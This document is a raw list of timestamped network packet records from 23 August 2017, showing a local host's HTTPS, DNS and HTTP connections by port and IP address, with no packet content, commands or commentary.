      Aug 23, 2017 11:21:34.056596994 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:34.162404060 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:34.200450897 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.661911011 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.662143946 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.662206888 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.662220001 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:34.662250996 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.662626982 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:34.691603899 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.691715956 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.691876888 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:34.691909075 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.711714029 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:34.711771965 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.711913109 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:34.711980104 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.712097883 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:34.719229937 MESZ5843553192.168.1.168.8.8.8
      Aug 23, 2017 11:21:34.986608982 MESZ53584358.8.8.8192.168.1.16
      Aug 23, 2017 11:21:34.997807980 MESZ5118453192.168.1.168.8.8.8
      Aug 23, 2017 11:21:35.229789972 MESZ53511848.8.8.8192.168.1.16
      Aug 23, 2017 11:21:35.233812094 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.233913898 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.234045982 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.234725952 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.234765053 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.537159920 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.537192106 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.537208080 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.537342072 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.547652960 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.547678947 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.547699928 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.547930002 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.552057028 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.552087069 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.552098989 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.552335024 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.560952902 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.560988903 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.561002016 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.561278105 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.568037987 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.568336964 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.568367958 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.568599939 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.568636894 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.581670046 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.581707001 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.581985950 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.582026005 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.589421034 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.589459896 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.589606047 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.589633942 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.589656115 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.589823961 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.589862108 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.614005089 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.614036083 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.614341974 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.614382982 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.621076107 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.621309996 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.621346951 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.635840893 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.636106968 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.636167049 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.650679111 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.650703907 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.650960922 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.651024103 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.659379959 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.659405947 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.659672976 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.659734011 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.667027950 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.667057037 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.667109966 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.667120934 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.667131901 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.667332888 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.667386055 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.689975023 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.689996958 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.690265894 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.690330029 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.696228981 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.696248055 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.696460009 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.696518898 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.698120117 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.698137999 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.698318005 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.698357105 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.709805965 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.709826946 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.709979057 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.710030079 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.718353987 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.718375921 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.718601942 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.718650103 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.739568949 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.739860058 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.739913940 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.754401922 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.754724979 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.754791021 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.779376030 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.779406071 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.779794931 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.779824018 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.794126987 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.794143915 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.794148922 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.794310093 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.794341087 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.810013056 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.810045004 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.810323954 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.810357094 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.814253092 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.814279079 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.814513922 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.814553976 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.836442947 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.836493015 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.836695910 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.836735964 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.851299047 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.851331949 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.851347923 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.851572037 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.851614952 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.864844084 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.864885092 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.865115881 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.865154028 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.866229057 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.866270065 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.866391897 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.866425037 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.894175053 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.894207954 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.894491911 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.894546032 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.899897099 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.900170088 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.900194883 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.914691925 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.914988995 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.915030003 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.929500103 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.929527998 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.929717064 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.929760933 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.950256109 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.950279951 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.950368881 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.950388908 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.951844931 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.951864958 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.951982021 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.951999903 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.975405931 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.975436926 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.975656986 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.975680113 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.994573116 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.994600058 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.994780064 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.994815111 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.997206926 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.997230053 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:35.997350931 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:35.997381926 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.027045012 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.027067900 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.027230978 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.027251959 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.041975975 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.041996956 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.042143106 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.042180061 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.079166889 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.079190016 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.079283953 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.079307079 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.094054937 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.094182014 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.094202995 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.108843088 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.108978987 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.109000921 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.123697996 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.123720884 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.123835087 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.123856068 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.138111115 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.138134003 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.138233900 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.138254881 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.142194033 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.142215967 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.142326117 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.142345905 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.160809994 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.160957098 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.160990953 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.164052963 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.164156914 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.164186954 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.178945065 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.178968906 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.179290056 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.179310083 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.193905115 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.193928003 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.194178104 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.194210052 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.207813978 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.207839012 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.208182096 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.208203077 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.211369038 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.211508036 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.211530924 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.230010033 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.230252981 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.230273008 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.234877110 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.234900951 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.234963894 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.234987974 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.249038935 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.249133110 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.249156952 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.253732920 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.253938913 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.253962994 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.278450966 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.278470993 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.278579950 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.278613091 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.284394026 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.284421921 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.284599066 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.284636974 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.296147108 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.296170950 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.296284914 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.296304941 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.302027941 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.302043915 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.302197933 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.302217007 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.326327085 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.326348066 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.326558113 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.326581001 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.329787016 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.329802990 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.329946995 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.329963923 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.343574047 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.343605995 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.343739986 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.343767881 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.349551916 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.349577904 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.349726915 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.349746943 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.364512920 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.364542961 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.364757061 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.364780903 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.393349886 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.393409014 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.393524885 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.393543005 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.393553019 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.393722057 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.393764973 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.408184052 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.408221960 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.408582926 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.408622026 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.415967941 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.416001081 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.416285992 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.416327000 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.431056976 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.431090117 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.431382895 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.431422949 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.446118116 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.446151972 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.446362972 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.446405888 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.455574036 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.455610991 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.455878973 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.455904007 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.461848974 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.461879969 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.462043047 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.462069035 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.479032993 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.479063034 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.479223013 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.479249954 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.488176107 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.488208055 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.488500118 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.488523006 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.495426893 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.495456934 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.495743990 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.495784998 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.501061916 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.501393080 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.501431942 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.506623983 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.506917953 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.506959915 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.510646105 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.510674000 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.510904074 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.510965109 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.524772882 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.525127888 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.525166988 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.531891108 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.532263041 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.532301903 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.547460079 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.547491074 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.547499895 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.547836065 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.547877073 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.553915977 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.553946972 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.554234982 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:36.554275990 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.563050032 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:36.563086987 MESZ8049196104.24.116.148192.168.1.16
